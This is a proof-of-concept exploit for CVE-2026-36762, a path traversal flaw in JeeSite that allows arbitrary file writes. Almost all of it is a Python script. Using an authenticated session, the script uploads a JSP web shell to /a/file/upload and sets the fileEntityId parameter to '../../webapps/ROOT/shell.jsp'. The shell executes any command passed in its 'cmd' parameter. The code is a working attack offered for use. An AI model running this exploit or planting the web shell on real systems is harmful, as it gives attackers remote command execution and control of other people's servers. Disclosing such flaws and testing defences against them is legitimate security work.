CVE-2026-36762 JeeSite路径遍历致任意文件写入漏洞

import requests def upload_malicious_file(target_url, session_cookie): """ PoC for CVE-2026-36762: Path Traversal via fileEntityId in JeeSite. Note: Requires authentication and file upload permissions. """ headers = { "Cookie": session_cookie } # Target endpoint upload_url = f"{target_url}/a/file/upload" # Path traversal payload in the fileEntityId parameter # Attempting to write a JSP shell to the web root traversal_payload = "../../webapps/ROOT/shell.jsp" # File content (simple JSP web shell) file_content = "<%@ page import='java.io.*' %><%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>" files = { # The file extension must be whitelisted (e.g., .jsp, .jpg) 'file': ('shell.jsp', file_content, 'application/octet-stream') } data = { 'fileEntityId': traversal_payload } try: response = requests.post(upload_url, headers=headers, files=files, data=data) if response.status_code == 200: print("[+] Request sent successfully. Check if the file was written.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage: # target = "http://localhost:8080" # cookie = "JSESSIONID=..." # upload_malicious_file(target, cookie)